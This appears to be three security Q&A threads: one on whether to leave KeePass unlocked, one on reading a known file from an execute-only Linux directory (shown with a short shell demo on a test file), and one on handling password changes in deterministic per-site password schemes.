Is it safe to leave Keepass always opened on a computer? I often need to get several passwords from my Keepass during the same day and I find myself having to open it and input the master password every single time, which is awfully laborious. The obvious solution to this problem would be to leave it opened permanently, but is it secure?

(I know I can "lock" it but I'd still have to input master password each time so not really satisfactory option)

It is safe if your computer is safe from unauthorized access. This includes malware.

If your computer is not physically safe, then no, anyone can access your Keepass. If your computer has malware on it, it can also access your Keepass if it is left unencrypted.


Can a file be extracted from a folder with only execute permissions? (Debian GNU/Linux)

If a user only has execute +x access to a folder they can still cd and traverse into the folder but can't use many other commands that would read the contents of the folder or files within.

drwx--x--x (owner can rwx group and rest can only execute)

Changing permissions of the file is not an option in this scenario
(retired pen-testing challenge)

With this limited access, would it be possible to exfiltrate a file within or read its contents?

It takes only a few lines to test and the answer is clear: if the user knows the name of the file he can still read its meta data and content as long the permissions of the file itself allow it:

$ mkdir x
$ echo foo > x/y
$ ls -l x
total 4
-rw-rw-r-- 1 user user 4 Nov 21 18:44 y
$ chmod 0100 x
$ ls -l x
ls: cannot open directory 'x': Permission denied
$ ls -l x/y
-rw-rw-r-- 1 user user 4 Nov 21 18:44 x/y
$ cat x/y
foo
$


What is the solution for handling exceptions in password hashing schemes? There is a technique called password hashing that describes creating unique passwords based on a unique master key and a static and arbitrary hash value.

Using this technique, the user only has to remember the master key to have a unique password for every site/application.

There are many free programs, sites, and browser extensions that implement this system.  A very simple example is this one.

This technique appears useful, but there is a common case that it does not seem to handle well.  That case is when the user has to change the password for a site (due to a reported security breach or a forced change due to time duration).  Once the user change that password, it will no conform to the hash system.

The only solution I can think of is for users to change the master key in order to generate a new password, but then all their other passwords will not work with that new master key.  So now they have to remember which sites use which master key, which is almost as bad as having them remember different passwords.

Does anyone have a solution for handling this common case?

Just to be clear, there is something else called password hashing that is completely different to what you describe, so that is a terminology collision, which is unfortunate.

To handle "exceptions", you must have some storage. One method could be to store (e.g. in a local file) a map from server name to some string, e.g. an integer. The scheme would be:

The local file contains lines. Each line contains an application name (e.g. the name of a Web site) and an integer.
If an application name does not appear in the file, then the password for that application will be a hash computer over the concatenation (in some way) of the master password and the application name.
If the application name appears in the file, then the integer value is appended to the master password in the hash input.

That way, the size of the local file is proportional to the number of exceptions.

There is of course ample room for botching things here. Notably, each generated password may be used as a test for an offline dictionary attack on the master password. So the master password must be stronge (that is, stronger than is usually necessary for passwords).